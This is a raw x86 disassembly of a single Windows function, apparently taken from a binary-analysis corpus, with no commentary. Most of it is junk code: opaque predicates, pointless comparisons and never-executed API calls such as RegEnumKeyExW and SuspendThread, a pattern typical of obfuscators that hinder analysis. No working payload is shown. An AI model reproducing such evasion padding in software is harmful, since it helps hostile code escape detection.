mov dword [ebp - 0xd94], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd94]
mov dword [ebp + eax - 0x1ccc], ecx
mov eax, dword [ebp - 0xd94]
mov dword [ebp - 0x1cdc], eax
jmp 0x478cfd
mov dword [ebp - 0x65c], 0xb4743079
mov dword [ebp - 0x2de0], 0x86c8a81d
mov eax, dword [ebp - 0xaa4]
mov dword [ebp - 0xd9c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd9c]
mov dword [ebp + eax - 0x1ccc], ecx
cmp dword [ebp - 0xd9c], 0xfffffff7
jl 0x478c54
mov dword [ebp - 0x1cd4], 1
jmp 0x478c5b
and dword [ebp - 0x1cd4], 0
mov eax, dword [ebp - 0x1cd4]
mov dword [ebp - 0x65c], eax
mov dword [ebp - 0x65c], 0
jmp 0x478c80
mov eax, dword [ebp - 0x65c]
inc eax
mov dword [ebp - 0x65c], eax
cmp dword [ebp - 0x65c], 2
jg 0x478cfd
mov dword [ebp - 0x894], 0
jmp 0x478ca2
mov eax, dword [ebp - 0x894]
inc eax
mov dword [ebp - 0x894], eax
cmp dword [ebp - 0x894], 1
jge 0x478cbe
mov eax, dword [ebp - 0x894]
mov dword [ebp + eax*4 - 0xda4], 0xffffffff
jmp 0x478c95
mov byte [ebp - 0x2d9], 0
movzx eax, byte [ebp - 0x2d9]
test eax, eax
je 0x478cdd
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xda4]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xda4], eax
jmp 0x478c73
mov eax, dword [ebp - 0x1cdc]
mov dword [ebp - 0x2688], eax
jmp 0x478a5f
mov byte [ebp - 0x3c1], 0
movzx eax, byte [ebp - 0x3c1]
test eax, eax
je 0x478d39
push 0x12e5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
jmp 0x4789f0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2914], 0
jmp 0x478d6c
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2914]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2914], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2914], 2
jg 0x47c896
mov dword [ebp - 0xdac], 0xe0cf
mov dword [ebp - 0x6a4], 0
jmp 0x478da3
mov eax, dword [ebp - 0x6a4]
inc eax
mov dword [ebp - 0x6a4], eax
cmp dword [ebp - 0x6a4], 1
jge 0x478dbf
mov eax, dword [ebp - 0x6a4]
mov dword [ebp + eax*4 - 0x2de8], 0xfffd
jmp 0x478d96
mov byte [ebp - 0x2db], 0
movzx eax, byte [ebp - 0x2db]
test eax, eax
je 0x478ddb
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
mov eax, dword [ebp - 0xdac]
inc eax
mov dword [ebp - 0xdac], eax
mov dword [ebp - 0x8bc], 0x82eac453
mov dword [ebp - 0x258c], 0xfff9
mov dword [ebp - 0x268], 0
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x2700], 0xcf94a228
mov dword [ebp - 0x1d5c], 0xbf771356
mov dword [ebp - 0xe1c], 0xfffffffa
mov dword [ebp - 0xab4], 0xffffffff
mov dword [ebp - 0x2710], 0xfffffffe
mov dword [ebp - 0x168], 0
jmp 0x478e58
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 2
jge 0x478e74
mov eax, dword [ebp - 0x168]
mov dword [ebp + eax*4 - 0x21ec], 0xffffffff
jmp 0x478e4b
mov dword [ebp - 0x168], 0
jmp 0x478e8d
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 2
jge 0x478ea9
mov eax, dword [ebp - 0x168]
mov dword [ebp + eax*4 - 0x26c8], 0xffffffff
jmp 0x478e80
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x479250
mov dword [ebp - 0xc10], 0x65ab
mov dword [ebp - 0x40], 0
jmp 0x478ed6
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x478eec
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x292c], 0x8cccddd
jmp 0x478ecf
mov dword [ebp - 0x40], 0
jmp 0x478efc
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x478f12
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x21e4], 6
jmp 0x478ef5
mov dword [ebp - 0x40], 0
jmp 0x478f22
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 3
jge 0x478f38
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x3514], 0x828c040c
jmp 0x478f1b
mov eax, 0xc84b
test eax, eax
je 0x478f5d
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x268]
mov dword [ebp + eax - 0x21e4], ecx
mov eax, 0xcc8a
test eax, eax
jne 0x478f62
xor eax, eax
inc eax
je 0x478f87
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x21e4], 0
je 0x478f87
mov eax, 0x628e
test eax, eax
je 0x478f87
mov dword [ebp - 0x1ce4], 1
jmp 0x478f8e
and dword [ebp - 0x1ce4], 0
mov eax, dword [ebp - 0xc10]
cmp dword [ebp - 0x1ce4], eax
jl 0x478fa8
mov dword [ebp - 0xdb4], 1
jmp 0x478faf
and dword [ebp - 0xdb4], 0
cmp dword [ebp - 0xdb4], 0xfffffff9
jge 0x478fc4
mov dword [ebp - 0x1cec], 1
jmp 0x478fcb
and dword [ebp - 0x1cec], 0
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x1cec]
add eax, 4
cmp eax, 0xffffffff
jg 0x478fe9
mov dword [ebp - 0xdbc], 1
jmp 0x478ff0
and dword [ebp - 0xdbc], 0
mov eax, dword [ebp - 0x20]
neg eax
cmp eax, dword [ebp - 0xdbc]
jl 0x479009
mov dword [ebp - 0x1cf4], 1
jmp 0x479010
and dword [ebp - 0x1cf4], 0
cmp dword [ebp - 0x1cf4], 0x295a
jge 0x479028
mov dword [ebp - 0xdc4], 1
jmp 0x47902f
and dword [ebp - 0xdc4], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xdc4], eax
jl 0x479046
mov dword [ebp - 0x1cfc], 1
jmp 0x47904d
and dword [ebp - 0x1cfc], 0
cmp dword [ebp - 0x1cfc], 0xffffffff
jg 0x479062
mov dword [ebp - 0xdcc], 1
jmp 0x479069
and dword [ebp - 0xdcc], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xdcc], eax
jne 0x479080
mov dword [ebp - 0x1d04], 1
jmp 0x479087
and dword [ebp - 0x1d04], 0
mov eax, dword [ebp - 0x268]
cmp dword [ebp - 0x1d04], eax
jle 0x4790a1
mov dword [ebp - 0xdd4], 1
jmp 0x4790a8
and dword [ebp - 0xdd4], 0
mov eax, dword [ebp - 0xdd4]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xb1bb30b1
jae 0x4790c6
mov dword [ebp - 0x1d0c], 1
jmp 0x4790cd
and dword [ebp - 0x1d0c], 0
mov eax, dword [ebp - 0x268]
mov dword [ebp - 0x2df0], eax
mov eax, dword [ebp - 0xc10]
mov dword [ebp - 0x2df8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x268]
cmp dword [ebp + eax - 0x292c], ecx
jge 0x479106
mov dword [ebp - 0xddc], 1
jmp 0x47910d
and dword [ebp - 0xddc], 0
cmp dword [ebp - 0xddc], 0xfffffff7
jne 0x479122
mov dword [ebp - 0x1d14], 1
jmp 0x479129
and dword [ebp - 0x1d14], 0
mov eax, dword [ebp - 0x268]
cmp dword [ebp - 0x1d14], eax
jle 0x479143
mov dword [ebp - 0xde4], 1
jmp 0x47914a
and dword [ebp - 0xde4], 0
mov eax, dword [ebp - 0x268]
cmp dword [ebp - 0xde4], eax
jg 0x479164
mov dword [ebp - 0x1d1c], 1
jmp 0x47916b
and dword [ebp - 0x1d1c], 0
cmp dword [ebp - 0x1d1c], 0x97a8d1d9
jae 0x479183
mov dword [ebp - 0xdec], 1
jmp 0x47918a
and dword [ebp - 0xdec], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x292c]
add eax, dword [ebp - 0xdec]
je 0x4791a6
cmp dword [ebp - 0xc10], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x21e4], 0
je 0x4791cb
mov eax, 0xd890f6da
test eax, eax
je 0x4791cb
mov dword [ebp - 0x1d24], 1
jmp 0x4791d2
and dword [ebp - 0x1d24], 0
mov eax, dword [ebp - 0x1d24]
add eax, 0xdc630de2
mov dword [ebp - 0xdf4], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xdf4]
mov dword [ebp + eax - 0x3514], ecx
cmp dword [ebp - 0xdf4], 1
je 0x47920b
mov dword [ebp - 0x1d2c], 1
jmp 0x479212
and dword [ebp - 0x1d2c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1d2c]
mov dword [ebp + eax - 0x21ec], ecx
mov dword [ebp - 0x20], 0
jmp 0x479235
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x47924b
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x21e4], 0xfffffffc
jmp 0x47922e
jmp 0x4794e7
mov dword [ebp - 0x2e00], 0x5f5ab95d
mov dword [ebp - 0x2e08], 0xa6b3
mov dword [ebp - 0x2e10], 0xeaf5
mov dword [ebp - 0x2e18], 0xd03168f1
mov dword [ebp - 0xaac], 0xfffd
mov dword [ebp - 0x1d34], 0xfffffffe
mov dword [ebp - 0x214], 0
jmp 0x4792a5
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 3
jge 0x4792c1
mov eax, dword [ebp - 0x214]
mov dword [ebp + eax*4 - 0x34cc], 0x99d012cd
jmp 0x479298
mov dword [ebp - 0x214], 0
jmp 0x4792da
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 2
jge 0x4792f6
mov eax, dword [ebp - 0x214]
mov dword [ebp + eax*4 - 0x3570], 0xe0c42ef3
jmp 0x4792cd
mov dword [ebp - 0x20], 0
jmp 0x479306
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 6
jl 0x4794e7
mov dword [ebp - 0xb9c], 0xf0a86225
mov dword [ebp - 0x2698], 0xfffffffc
mov dword [ebp - 0x2690], 1
mov dword [ebp - 0x89c], 0
jmp 0x479347
mov eax, dword [ebp - 0x89c]
inc eax
mov dword [ebp - 0x89c], eax
cmp dword [ebp - 0x89c], 3
jge 0x479363
mov eax, dword [ebp - 0x89c]
mov dword [ebp + eax*4 - 0x3544], 0x914d865e
jmp 0x47933a
xor eax, eax
inc eax
je 0x479487
mov eax, dword [ebp - 0xaac]
dec eax
mov dword [ebp - 0xaac], eax
mov eax, dword [ebp - 0x2690]
cmp dword [ebp - 0xaac], eax
jge 0x479393
mov dword [ebp - 0xdfc], 1
jmp 0x47939a
and dword [ebp - 0xdfc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x34cc]
cmp eax, dword [ebp - 0xdfc]
jne 0x4793ba
mov dword [ebp - 0xe0c], 1
jmp 0x4793c1
and dword [ebp - 0xe0c], 0
mov dword [ebp - 0x1d34], 0x7d2ca1c
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x26c8]
cmp dword [ebp - 0x1d34], eax
je 0x4793ec
mov dword [ebp - 0xe04], 1
jmp 0x4793f3
and dword [ebp - 0xe04], 0
mov eax, dword [ebp - 0x2698]
imul eax, dword [ebp - 0xe04]
test eax, eax
jne 0x479410
mov dword [ebp - 0x1d3c], 1
jmp 0x479417
and dword [ebp - 0x1d3c], 0
mov eax, dword [ebp - 0x268]
cmp dword [ebp - 0x1d3c], eax
jg 0x479434
cmp dword [ebp - 0x20], 0
jne 0x479434
and dword [ebp - 0x1d44], 0
jmp 0x47943e
mov dword [ebp - 0x1d44], 1
mov eax, dword [ebp - 0xe0c]
cmp eax, dword [ebp - 0x1d44]
jg 0x479458
mov dword [ebp - 0x26a0], 1
jmp 0x47945f
and dword [ebp - 0x26a0], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2e20], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3544], 0xb87b6ff5
jae 0x479487
mov dword [ebp - 0xe14], 1
jmp 0x47948e
and dword [ebp - 0xe14], 0
mov eax, dword [ebp - 0xb9c]
mov dword [ebp - 0x26a8], eax
mov eax, dword [ebp - 0xe14]
mov dword [ebp - 0x26b0], eax
mov eax, dword [ebp - 0xb9c]
inc eax
mov dword [ebp - 0xb9c], eax
mov eax, dword [ebp - 0x26a8]
cmp eax, dword [ebp - 0x26b0]
jl 0x4794cd
mov dword [ebp - 0x1d4c], 1
jmp 0x4794d4
and dword [ebp - 0x1d4c], 0
mov eax, dword [ebp - 0x1d4c]
neg eax
mov dword [ebp - 0xab4], eax
jmp 0x4792ff
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x26c8], 0
je 0x4795c4
mov eax, dword [ebp - 0xe1c]
sub eax, dword [ebp - 0x2700]
je 0x47952e
cmp dword [ebp - 0xe1c], 0
je 0x47952e
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x21ec], 0
je 0x47952e
mov dword [ebp - 0x1d54], 1
jmp 0x479535
and dword [ebp - 0x1d54], 0
mov eax, dword [ebp - 0x1d5c]
cmp dword [ebp - 0x1d54], eax
jle 0x47954f
mov dword [ebp - 0xe24], 1
jmp 0x479556
and dword [ebp - 0xe24], 0
mov eax, dword [ebp - 0xab4]
cmp dword [ebp - 0xe24], eax
jne 0x479570
mov dword [ebp - 0x2708], 1
jmp 0x479577
and dword [ebp - 0x2708], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x26c8]
mov dword [ebp - 0x2e28], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x21ec]
mov dword [ebp - 0x2e30], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x21ec]
add eax, dword [ebp - 0x1d5c]
cmp eax, dword [ebp - 0x2710]
je 0x4795c4
mov dword [ebp - 0xe2c], 1
jmp 0x4795cb
and dword [ebp - 0xe2c], 0
mov eax, dword [ebp - 0xe2c]
mov dword [ebp - 0xab4], eax
mov dword [ebp - 0x2a8], 0xe83c7730
mov dword [ebp - 0xe34], 0x72ba
mov dword [ebp - 0x2730], 0xed0f12af
mov dword [ebp - 0xe74], 0x16511c25
mov dword [ebp - 0x2720], 0x3925b974
mov dword [ebp - 0x4a8], 2
mov dword [ebp - 0x2e38], 0x46a6f4da
mov dword [ebp - 0x2e40], 0xe1b460d5
mov dword [ebp - 0x6ac], 0
jmp 0x479640
mov eax, dword [ebp - 0x6ac]
inc eax
mov dword [ebp - 0x6ac], eax
cmp dword [ebp - 0x6ac], 1
jge 0x47965c
mov eax, dword [ebp - 0x6ac]
mov dword [ebp + eax*4 - 0x2728], 0xffffffff
jmp 0x479633
cmp dword [ebp - 0x2a8], 1
je 0x479874
mov dword [ebp - 0x8a4], 0x9dbe
mov dword [ebp - 0x588], 0xfffffffa
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0x2e48], eax
cmp dword [ebp - 0x2a8], 0
jge 0x47969e
mov dword [ebp - 0x2718], 1
jmp 0x4796a5
and dword [ebp - 0x2718], 0
mov eax, dword [ebp - 0x8a4]
mov dword [ebp - 0x2e50], eax
cmp dword [ebp - 0x2a8], 0
je 0x4796cf
mov eax, 0xbb7a
test eax, eax
je 0x4796cf
mov dword [ebp - 0x1d64], 1
jmp 0x4796d6
and dword [ebp - 0x1d64], 0
mov eax, dword [ebp - 0x2a8]
cmp dword [ebp - 0x1d64], eax
jle 0x4796f0
mov dword [ebp - 0x1d6c], 1
jmp 0x4796f7
and dword [ebp - 0x1d6c], 0
mov dword [ebp - 0xe34], 0xc9eb
mov eax, dword [ebp - 0xe34]
cmp eax, dword [ebp - 0x1d6c]
jle 0x47971b
mov dword [ebp - 0xe3c], 1
jmp 0x479722
and dword [ebp - 0xe3c], 0
cmp dword [ebp - 0xe3c], 0xc895
jg 0x47973a
mov dword [ebp - 0x1d74], 1
jmp 0x479741
and dword [ebp - 0x1d74], 0
mov eax, dword [ebp - 0x2a8]
add eax, dword [ebp - 0x1d74]
cmp eax, dword [ebp - 0x2a8]
jge 0x479761
mov dword [ebp - 0xe44], 1
jmp 0x479768
and dword [ebp - 0xe44], 0
mov eax, dword [ebp - 0x2a8]
cmp eax, dword [ebp - 0xe44]
jg 0x479788
cmp dword [ebp - 0x8a4], 0
jne 0x479788
and dword [ebp - 0x1d7c], 0
jmp 0x479792
mov dword [ebp - 0x1d7c], 1
mov eax, dword [ebp - 0x1d7c]
add eax, 0x8700
je 0x4797b4
mov eax, 0xc0e07525
test eax, eax
je 0x4797b4
mov dword [ebp - 0xe4c], 1
jmp 0x4797bb
and dword [ebp - 0xe4c], 0
mov eax, dword [ebp - 0x8a4]
cmp dword [ebp - 0xe4c], eax
jge 0x4797d5
mov dword [ebp - 0x1d84], 1
jmp 0x4797dc
and dword [ebp - 0x1d84], 0
mov eax, dword [ebp - 0x2a8]
cmp dword [ebp - 0x1d84], eax
jl 0x4797f6
mov dword [ebp - 0xe54], 1
jmp 0x4797fd
and dword [ebp - 0xe54], 0
mov eax, dword [ebp - 0xe54]
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x588], 0x1a
jmp 0x479822
mov eax, dword [ebp - 0x588]
inc eax
mov dword [ebp - 0x588], eax
cmp dword [ebp - 0x588], 0x1a
je 0x47986f
mov dword [ebp - 0x1d8c], 0xcc19
mov byte [ebp - 0x2dc], 0
movzx eax, byte [ebp - 0x2dc]
test eax, eax
je 0x479860
push 0
push 0
push 0
push 0
push 0
push 0
push 0xdb8
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov eax, dword [ebp - 0x1d8c]
inc eax
mov dword [ebp - 0x1d8c], eax
jmp 0x479815
jmp 0x4799e2
mov dword [ebp - 0x1d9c], 0xd77dfcc8
mov dword [ebp - 0x2e58], 0x253674f9
mov dword [ebp - 0x2e60], 6
mov dword [ebp - 0x2e68], 6
mov dword [ebp - 0x2e70], 0
mov dword [ebp - 0xc3c], 0xd67
mov dword [ebp - 0x6b4], 0
jmp 0x4798c9
mov eax, dword [ebp - 0x6b4]
inc eax
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 2
jge 0x4798e5
mov eax, dword [ebp - 0x6b4]
mov dword [ebp + eax*4 - 0x35b0], 0xc7a429ad
jmp 0x4798bc
mov eax, dword [ebp - 0xc3c]
inc eax
mov dword [ebp - 0xc3c], eax
mov eax, dword [ebp - 0xc3c]
cmp dword [ebp - 0x1d9c], eax
jne 0x47990c
mov dword [ebp - 0xe5c], 1
jmp 0x479913
and dword [ebp - 0xe5c], 0
mov eax, dword [ebp - 0xe5c]
mov dword [ebp - 0x4a8], eax
mov eax, dword [ebp - 0x4a8]
dec eax
cmp eax, dword [ebp - 0xe74]
jg 0x47993a
mov dword [ebp - 0x1d94], 1
jmp 0x479941
and dword [ebp - 0x1d94], 0
cmp dword [ebp - 0x1d94], 0xf00f3bc9
ja 0x479956
cmp dword [ebp - 0x2720], 0
jne 0x47996f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2728], 0
jne 0x47996f
and dword [ebp - 0xe64], 0
jmp 0x479979
mov dword [ebp - 0xe64], 1
cmp dword [ebp - 0xe64], 0x2406
jl 0x479991
mov dword [ebp - 0xe6c], 1
jmp 0x479998
and dword [ebp - 0xe6c], 0
mov eax, dword [ebp - 0x1d9c]
cmp eax, dword [ebp - 0xe6c]
jg 0x4799b2
mov dword [ebp - 0x1da4], 1
jmp 0x4799b9
and dword [ebp - 0x1da4], 0
mov eax, dword [ebp - 0x1da4]
mov dword [ebp - 0xe74], eax
mov byte [ebp - 0x2dd], 0
movzx eax, byte [ebp - 0x2dd]
test eax, eax
je 0x4799e2
push 0xf3a
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 0x4a8], 0
jmp 0x4799fb
mov eax, dword [ebp - 0x4a8]
dec eax
mov dword [ebp - 0x4a8], eax
cmp dword [ebp - 0x4a8], 0xffffffee
jne 0x479a10
mov dword [ebp - 0x2730], 0xfeddd8d7
jmp 0x4799ee
mov byte [ebp - 0x2bd], 0
mov dword [ebp - 0x18], 0xf4a8b108
mov dword [ebp - 0x270], 0xffffffff
mov dword [ebp - 0x370], 0x52280335
mov dword [ebp - 0x518], 0xffffffff
mov dword [ebp - 0x304c], 0xa93f0451
cmp dword [ebp - 0x18], 0
je 0x479a5e
cmp dword [ebp - 0x18], 0
je 0x479a5e
mov dword [ebp - 0x1dac], 1
jmp 0x479a65
and dword [ebp - 0x1dac], 0
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x1dac]
neg eax
cmp eax, dword [ebp - 0x18]
jle 0x479a81
mov dword [ebp - 0xe7c], 1
jmp 0x479a88
and dword [ebp - 0xe7c], 0
cmp dword [ebp - 0xe7c], 0xffff
jne 0x479aa0
mov dword [ebp - 0x1db4], 1
jmp 0x479aa7
and dword [ebp - 0x1db4], 0
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x1db4]
cmp eax, dword [ebp - 0x18]
jl 0x479ac1
mov dword [ebp - 0xe84], 1
jmp 0x479ac8
and dword [ebp - 0xe84], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0xe84], eax
jl 0x479adf
mov dword [ebp - 0x1dbc], 1
jmp 0x479ae6
and dword [ebp - 0x1dbc], 0
mov eax, dword [ebp - 0x1dbc]
mov dword [ebp - 0x270], eax
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x3054], eax
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x370], eax
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x370], eax
jle 0x479b21
mov dword [ebp - 0x2738], 1
jmp 0x479b28
and dword [ebp - 0x2738], 0
mov eax, dword [ebp - 0x270]
mov dword [ebp - 0x518], eax
mov eax, dword [ebp - 0x518]
imul eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x18]
jne 0x479b4f
mov dword [ebp - 0x2740], 1
jmp 0x479b56
and dword [ebp - 0x2740], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x305c], eax
cmp dword [ebp - 0x370], 0
cmp dword [ebp - 0x18], 0x9c21
jg 0x479b7b
mov dword [ebp - 0xe8c], 1
jmp 0x479b82
and dword [ebp - 0xe8c], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0xe8c], eax
jge 0x479b99
mov dword [ebp - 0x1e04], 1
jmp 0x479ba0
and dword [ebp - 0x1e04], 0
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x1e04]
je 0x479bb7
mov dword [ebp - 0xe94], 1
jmp 0x479bbe
and dword [ebp - 0xe94], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0xe94], eax
jne 0x479bd5
mov dword [ebp - 0x1e0c], 1
jmp 0x479bdc
and dword [ebp - 0x1e0c], 0
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x1e0c]
test eax, eax
je 0x479d58
mov dword [ebp - 0x370], 0
jmp 0x479c07
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 0xd
jne 0x479d56
mov dword [ebp - 0x33cc], 0xffffffff
mov dword [ebp - 0x33c8], 0xffffffff
mov dword [ebp - 0x33c4], 0xffffffff
mov dword [ebp - 0x33c0], 0xffffffff
mov dword [ebp - 0x518], 0
jmp 0x479c55
mov eax, dword [ebp - 0x518]
dec eax
mov dword [ebp - 0x518], eax
cmp dword [ebp - 0x518], 0xffffffe8
jg 0x479d37
mov dword [ebp - 0x170], 0
jmp 0x479c7b
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 4
jge 0x479c97
mov eax, dword [ebp - 0x170]
mov dword [ebp + eax*4 - 0x35e8], 0xfffffff7
jmp 0x479c6e
mov dword [ebp - 0x170], 0
jmp 0x479cb0
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 2
jge 0x479ccc
mov eax, dword [ebp - 0x170]
mov dword [ebp + eax*4 - 0x2a44], 0x9d95921b
jmp 0x479ca3
mov dword [ebp - 0x270], 0
jmp 0x479ce5
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 3
jg 0x479d17
mov dword [ebp - 0x18], 0
jmp 0x479cfe
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jg 0x479d15
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x35e8], 0
je 0x479d13
jmp 0x479d15
jmp 0x479cf7
jmp 0x479cd8
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2a44]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x2a44], eax
jmp 0x479c48
mov byte [ebp - 0x341], 0
movzx eax, byte [ebp - 0x341]
test eax, eax
je 0x479d51
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
jmp 0x479bfa
jmp 0x479d72
mov byte [ebp - 0x2df], 0
movzx eax, byte [ebp - 0x2df]
test eax, eax
je 0x479d72
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
movzx eax, byte [ebp - 0x2bd]
test eax, eax
je 0x47a009
mov dword [ebp - 0x6c], 0x8cff0ea7
mov dword [ebp - 0x2904], 0xfffffffa
mov dword [ebp - 0x2900], 0xfffffffa
mov dword [ebp - 0x28fc], 0xfffffffa
mov dword [ebp - 0x28f8], 0xfffffffa
mov dword [ebp - 0x3064], 1
mov dword [ebp - 0x6c], 0xfffffff6
jmp 0x479dca
mov eax, dword [ebp - 0x6c]
dec eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0xffffffeb
jge 0x479fd4
mov dword [ebp - 0x28ec], 0xf8256a9e
mov dword [ebp - 0x28e8], 0xf8256a9e
mov dword [ebp - 0x28e4], 0xf8256a9e
mov dword [ebp - 0x28e0], 0xf8256a9e
mov dword [ebp - 0x4b0], 0
cmp dword [ebp - 0x6c], 0
je 0x479e11
jmp 0x479fd4
mov dword [ebp - 0x4b0], 3
jmp 0x479e2a
mov eax, dword [ebp - 0x4b0]
dec eax
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x4b0], 0
jl 0x479fcf
mov dword [ebp - 0xe9c], 5
mov dword [ebp - 0x8ac], 0
jmp 0x479e5a
mov eax, dword [ebp - 0x8ac]
inc eax
mov dword [ebp - 0x8ac], eax
cmp dword [ebp - 0x8ac], 1
jge 0x479e76
mov eax, dword [ebp - 0x8ac]
mov dword [ebp + eax*4 - 0x2748], 0xffffffff
jmp 0x479e4d
cmp dword [ebp - 0x6c], 0
je 0x479f88
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xe9c], eax
cmp dword [ebp - 0xe9c], 0
jne 0x479ea1
cmp dword [ebp - 0x6c], 0
jne 0x479ea1
and dword [ebp - 0x1e14], 0
jmp 0x479eab
mov dword [ebp - 0x1e14], 1
cmp dword [ebp - 0x1e14], 0xffd8
jg 0x479ec3
mov dword [ebp - 0xea4], 1
jmp 0x479eca
and dword [ebp - 0xea4], 0
mov eax, dword [ebp - 0x4b0]
mov eax, dword [ebp + eax*4 - 0x28ec]
cmp dword [ebp - 0xea4], eax
je 0x479eeb
mov dword [ebp - 0x1e1c], 1
jmp 0x479ef2
and dword [ebp - 0x1e1c], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x1e1c], eax
je 0x479f09
mov dword [ebp - 0xeac], 1
jmp 0x479f10
and dword [ebp - 0xeac], 0
mov eax, dword [ebp - 0x6c]
imul eax, dword [ebp - 0xeac]
test eax, eax
je 0x479f30
cmp dword [ebp - 0x6c], 0
je 0x479f30
mov dword [ebp - 0x1e24], 1
jmp 0x479f37
and dword [ebp - 0x1e24], 0
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x1e24]
jle 0x479f4e
mov dword [ebp - 0xeb4], 1
jmp 0x479f55
and dword [ebp - 0xeb4], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0xeb4], eax
jg 0x479f6c
mov dword [ebp - 0x1e2c], 1
jmp 0x479f73
and dword [ebp - 0x1e2c], 0
cmp dword [ebp - 0x1e2c], 0xffffffff
jle 0x479f88
mov dword [ebp - 0xebc], 1
jmp 0x479f8f
and dword [ebp - 0xebc], 0
mov eax, dword [ebp - 0x4b0]
